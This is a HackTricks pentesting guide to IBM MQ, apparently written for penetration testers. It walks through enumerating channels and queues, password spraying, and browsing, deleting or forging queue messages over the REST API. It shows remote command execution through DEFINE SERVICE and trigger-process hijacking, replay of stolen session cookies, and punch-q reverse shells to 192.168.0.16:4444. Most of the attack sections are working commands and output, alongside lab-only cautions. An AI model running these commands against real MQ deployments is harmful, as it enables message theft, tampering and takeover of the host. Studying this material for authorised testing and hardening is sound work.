// HackTricks · Network Services

1414 - Pentesting IBM MQ

1414 - Pentesting IBM MQ

Basic information

IBM MQ is messaging middleware built around queue managers, queues, topics, channels, and related objects. It receives, stores, and forwards messages between producing and consuming applications; business processing and classification are normally performed by the connected applications or configured routing components.[3]

IBM MQ examples and developer images commonly expose a queue-manager listener on TCP 1414, but listener ports are configurable. When mqweb is enabled, the Console and REST APIs commonly use HTTPS 9443. The IBM MQ container’s optional Prometheus metrics endpoint commonly uses TCP 9157; this is not a universal queue-manager protocol port.[3][7]

What a client can do through an MQ listener depends on the selected SVRCONN channel, CHLAUTH mapping, authentication, and Object Authority Manager (OAM) permissions. A highly privileged identity may manipulate messages and administer queue-manager objects; an ordinary application identity should be much more restricted.

IBM provides a large technical documentation available on https://www.ibm.com/docs/en/ibm-mq.[3]

Tools

A convenient assessment tool is punch-q, which uses the Python pymqi library and can also run from Docker.[11]

For a more manual approach, use the Python library pymqi. IBM MQ dependencies are needed.

Installing pymqi

The following procedure is a legacy IBM MQ 9.0.0.4 installation recipe retained for reproducing older tooling environments. Prefer a current supported redistributable IBM MQ client for new labs; it is relocatable and does not require a system RPM installation.[10]

  1. Create an account (IBMid) on https://login.ibm.com/.
  2. Download IBM MQ libraries from https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. For Linux x86_64 it is 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Decompress (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Run sudo ./mqlicense.sh to accept licenses terms.

[!CAUTION] The historical workaround below disables the package’s platform check. Use it only in a disposable lab with the matching archived package; for a normal system, use a supported client package instead.

On the old Kali setup, the workaround was to modify mqlicense.sh and remove/comment these lines:

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Install these packages:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Temporarily add the client shared libraries to the loader path before running dependent tools: export LD_LIBRARY_PATH=/opt/mqm/lib64.

Then, you can clone the project pymqi: it contains interesting code snippets, constants, … Or you can directly install the library with: pip install pymqi.

Using punch-q

With Docker

Simply use: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

Clone the project punch-q then follow the readme for installation (pip install -r requirements.txt && python3 setup.py install).

After, it can be used with punch-q command.

Enumeration

You can try to enumerate the queue manager name, the users, the channels and the queues with punch-q or pymqi.[1]

If TCP/1414 is filtered or the target only exposes the embedded web server, check TCP/9443 too. Recent IBM MQ versions expose the IBM MQ Console / REST API there by default when mqweb is enabled, and the administrative REST endpoint can execute arbitrary MQSC commands if you have valid credentials.[3]

Do not assume that every successful mqweb login unlocks the same surface. In IBM MQ, MQWebAdmin / MQWebAdminRO cover the administrative REST API, but the messaging REST API requires MQWebUser plus the underlying OAM rights on queues or topics. Also, from 9.4.0, mqweb can run as a stand-alone IBM MQ Web Server on Linux: in that deployment the messaging REST API can still front remote queue managers while the administrative REST API is unavailable. Therefore, a dead or missing /admin/ path does not mean /messaging/ is absent.[3]

Do not limit yourself to the administrative REST API. IBM also exposes a messaging REST API on the same listener, so valid mqweb credentials can be enough to:[5]

  • browse messages from a queue with GET /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message
  • destructively get messages with DELETE /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message
  • put attacker-controlled messages with POST /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message

That matters in real environments where 1414 is ACL-restricted but the web console on 9443 is reachable from jump hosts, VPN ranges, or Kubernetes ingress.

Queue Manager

Sometimes, there is no protection against getting the Queue Manager name:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q is using an internal (modifiable) wordlist to find existing channels. Usage example:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Some IBM MQ instances or developer channels accept connections without an application-supplied username/password; in that case omit the credential options. The channel can still map the connection to a local identity, and OAM rights determine subsequent access.

As soon as we get one channel name (here: DEV.ADMIN.SVRCONN), we can enumerate all other channels.[2]

The enumeration can basically be done with this code snippet code/examples/dis_channels.py from pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
    if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
        logging.info('No channels matched prefix `%s`' % prefix)
    else:
        raise
else:
    for channel_info in response:
        channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
        logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… But punch-q also embed that part (with more infos!). It can be launch with:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Users / password spraying

Once you know a valid SVRCONN channel, punch-q has a discover users mode for testing candidate IBM MQ credentials against that channel. This can lock accounts or trigger monitoring, so use a small approved candidate set and honor the target’s rate/lockout policy.

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover users --channel DEV.ADMIN.SVRCONN

IBM MQ can validate supplied identities against the local operating system or LDAP, and applications may also present service-account credentials. When choosing an explicitly approved candidate set, include documented operating-system, directory, and service-account credentials that may have been reused for MQ; do not assume reuse.[12]

A TLS error instead of authorization reason code 2035 can indicate that the candidate channel exists but requires a compatible SSLCIPH and possibly client-certificate material. Corroborate this because gateways can normalize errors.

If the channel list shows a non-empty SSL Cipher, or punch-q says a channel “wants SSL”, shift to client-artifact looting instead of blind spraying. IBM MQ clients can inherit channel and TLS settings from a CCDT (AMQCLCHL.TAB or JSON), mqclient.ini, and a key repository. Hunt for MQCCDTURL, MQCHLLIB, MQCHLTAB, mqclient.ini, *.kdb, *.sth, and *.p12 files in application servers, CI jobs, containers, or Kubernetes Secrets. Recent IBM MQ versions also support HTTPS-hosted CCDTs, so a leaked MQCCDTURL=https://... can be enough to recover queue-manager names, channel names, hosts, ports, and TLS requirements without first touching the MQ server itself.

CHLAUTH / OAM recon

A lot of “it connects but returns 2035” cases are caused by CHLAUTH rules or by missing OAM permissions on the target objects.

If you already have administrative MQSC access, MATCH(RUNCHECK) is the fastest way to understand which rule will be applied to a remote connection:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
  | runmqsc MYQUEUEMGR

Through the REST admin endpoint on 9443, the same check can be done remotely:

curl -sku 'admin:passw0rd' \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
  https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

If you have enough rights to use PCF remotely, IBM exposes MQCMD_INQUIRE_CHLAUTH_RECS, which returns the channel authentication records and their mappings to MCAUSER. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.

Effective authorities

Once you have a working identity, spend a minute checking what that principal can really do before assuming a failed PCF request means “wrong credentials”. IBM documents three complementary ways to inspect OAM permissions:[3]

  • DISPLAY AUTHREC over MQSC
  • dspmqaut on the host
  • MQCMD_INQUIRE_ENTITY_AUTH over PCF

The practical offensive value is high because many remote-admin actions depend on a small set of system objects. For example, PCF administration usually needs the ability to put a command onto SYSTEM.ADMIN.COMMAND.QUEUE and to create/read the dynamic reply queue derived from SYSTEM.DEFAULT.MODEL.QUEUE.

With MQSC access:

echo "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
  | runmqsc MYQUEUEMGR

echo "DISPLAY AUTHREC PROFILE(SYSTEM.DEFAULT.MODEL.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
  | runmqsc MYQUEUEMGR

Via the REST admin endpoint:

curl -sku 'admin:passw0rd' \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
  https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

If you later obtain shell access on the MQ host, dspmqaut gives the same answer without going through MQSC:

dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.ADMIN.COMMAND.QUEUE -p app
dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.DEFAULT.MODEL.QUEUE -p app

Queues

There is a code snippet with pymqi (dis_queues.py) but punch-q permits to retrieve more pieces of info about the queues:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Topics / subscriptions

IBM MQ also supports publish/subscribe. With administrative rights, an administrative subscription can route publications matching a topic string into a destination queue for later inspection.[8]

[!CAUTION] Defining a queue/subscription changes queue-manager state and may capture sensitive production traffic. Use the following commands only in an authorized lab or with explicit approval and remove the created objects afterward.

Quick recon examples:

echo "DISPLAY TOPIC(*) TOPICSTR" | runmqsc MYQUEUEMGR
echo "DISPLAY SUB(*) ALL" | runmqsc MYQUEUEMGR

Create a queue and durable wildcard subscription for a whole topic tree:

echo "DEFINE QLOCAL(HACK.SUBQ) REPLACE" | runmqsc MYQUEUEMGR
echo "DEFINE SUB(HACK.SUB) TOPICSTR('dev/#') DEST(HACK.SUBQ) DESTCLAS(PROVIDED) WSCHEMA(TOPIC) REPLACE" | runmqsc MYQUEUEMGR

From there, matching publications arrive on HACK.SUBQ like ordinary queue messages. If 1414 is blocked but the admin REST API on 9443 is reachable, the same MQSC can be sent through /ibmmq/rest/v3/admin/action/qmgr/<qmgr>/mqsc. Application pub/sub rights alone do not normally grant authority to define administrative objects.

Exploit

Dump messages

You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation).[1] Examples:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Assess every in-scope queue, but use browse/non-destructive operations first and avoid consuming production messages.

Dump / put messages through 9443

If you only have access to the embedded web server, the messaging REST API can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.[5]

Browse the next message non-destructively:

curl -sku 'app:passw0rd' \
  https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message

Destructively get the next message:

curl -sku 'app:passw0rd' \
  -X DELETE \
  -H 'ibm-mq-rest-csrf-token: anything' \
  https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message

Inject a forged message:

curl -sku 'app:passw0rd' \
  -X POST \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data 'hacktricks-test' \
  https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message

This is useful when:

  • 1414 is not reachable from your workstation
  • the environment routes the MQ Console through a reverse proxy or ingress controller
  • you want to validate message tampering separately from administrative rights

The same listener can also publish directly to a topic string, which is useful when the target application consumes pub/sub messages instead of local queues:[5]

curl -sku 'app:passw0rd' \
  -X POST \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data 'approved=true' \
  https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/topic/dev/orders/message

Code execution

Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation.
PCF (Programmable Command Formats) is what we are focused on to interact remotely with the instance. punch-q and furthermore pymqi are based on PCF interactions.

You can find a list of PCF commands:

One interesting command is MQCMD_CREATE_SERVICE and its documentation is available here. It takes as argument a StartCommand pointing to a local program on the instance (example: /bin/sh).

There is also a warning of the command in the docs: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”

IBM MQ also exposes an HTTP endpoint at /admin/action/qmgr/{qmgrName}/mqsc for equivalent MQSC commands such as DEFINE SERVICE; the REST workflow is shown below.

If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.[4]

The service creation / deletion with PCF for remote program execution can be done by punch-q:

Example 1

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

In the logs of IBM MQ, you can read the command is successfully executed:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

You can also enumerate existing programs on the machine (here /bin/doesnotexist … does not exist):

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Program launch is asynchronous, so observe its effect through an approved side channel such as a harmless file in a lab, application logs, or a controlled callback listener.

The same technique can be driven from the REST API:

curl -sku 'admin:passw0rd' \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
  https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data "START SERVICE(HACKTRICKS)" \
  https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data "DELETE SERVICE(HACKTRICKS)" \
  https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

This is especially useful during assessments where:

  • 9443 is reachable but 1414 is restricted to a smaller source range
  • The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
  • You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration

If the environment uses token-based authentication instead of HTTP Basic, IBM’s mqweb login endpoint returns an LtpaToken2 cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on 9443.[6]

curl -sk -c /tmp/mq.cookies \
  -H 'Content-Type: application/json' \
  --data '{"username":"admin","password":"passw0rd"}' \
  https://TARGET:9443/ibmmq/rest/v3/login

curl -sk -b /tmp/mq.cookies \
  -H 'ibm-mq-rest-csrf-token: anything' \
  -H 'Content-Type: text/plain;charset=utf-8' \
  --data "DISPLAY QMGR ALL" \
  https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Trigger-based program launch

DEFINE SERVICE is not the only path to code execution. IBM MQ triggering can start an application when a message lands on a queue, so environments that already rely on trigger monitors can sometimes be abused by swapping the PROCESS object tied to a triggered queue.[9]

Start with recon:

echo "DISPLAY QLOCAL(*) INITQ PROCESS TRIGGER TRIGTYPE" | runmqsc MYQUEUEMGR
echo "DISPLAY PROCESS(*) APPLICID APPLTYPE USERDATA" | runmqsc MYQUEUEMGR

If you find a queue with a live INITQ, the following lab sequence demonstrates the risk of replacing its process association:

[!CAUTION] ALTER QLOCAL changes an existing application’s behavior. Record the original attributes and run this only in a disposable lab or with explicit change approval; restore the queue and delete HACKPROC afterward.

echo "DEFINE PROCESS(HACKPROC) REPLACE APPLTYPE(UNIX) APPLICID('/bin/sh') USERDATA('-c id >/tmp/mq.trigger')" | runmqsc MYQUEUEMGR
echo "ALTER QLOCAL(APP.INPUT) PROCESS(HACKPROC) TRIGGER TRIGTYPE(FIRST)" | runmqsc MYQUEUEMGR

Then put a message on APP.INPUT with punch-q or the messaging REST API to fire the trigger. This primitive depends on a trigger monitor actively serving the queue’s INITQ; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).

Example 2

For easy reverse shell, punch-q proposes also two reverse shell payloads :

  • One with bash
  • One with perl

Of course you can build a custom one with the execute command.

For bash:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

For perl:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

You can dig into the IBM MQ documentation and directly use pymqi python library to test specific PCF command not implemented in punch-q.

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    # Replace here with your custom PCF args and command
    # The constants can be found in pymqi/code/pymqi/CMQCFC.py
    args = {pymqi.CMQCFC.xxxxx: "value"}
    response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    # Process response

qmgr.disconnect()

If you cannot find the constant names, you can refer to the IBM MQ documentation.

_Example for MQCMD_REFRESH_CLUSTER (Decimal = 73). It needs the parameter MQCA_CLUSTER_NAME (Decimal = 2029) which can be _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Testing environment

To test IBM MQ behavior safely, set up a local containerized environment:

  1. Having an account on ibm.com and cloud.ibm.com.
  2. Create a containerized IBM MQ with:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Here, the queue manager name has been set to MYQUEUEMGR (variable MQ_QMGR_NAME).

Recent 9.4.x developer images changed the out-of-the-box behavior:[7]

  • admin and app are only created if you set their passwords
  • IBM documents MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD as deprecated from 9.4.0.0
  • The preferred way is to inject secrets named mqAdminPassword and mqAppPassword

For a quick local lab with Podman, you can create both users like this:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
  -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
  -p1414:1414 -p9157:9157 -p9443:9443 \
  --name testing-ibmmq icr.io/ibm-messaging/mq:latest

With the default developer configuration:[7]

  • DEV.ADMIN.SVRCONN only allows the admin user
  • DEV.APP.SVRCONN is the application channel and the app user is the expected identity
  • DEV.BASE.TOPIC is created with topic string dev/
  • the app user is usually granted put, get, browse, inq, pub, and sub on DEV.* resources
  • https://<target>:9443/ibmmq/console exposes the web console when the embedded web server is enabled

You should have the IBM MQ up and running with its ports exposed:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.

References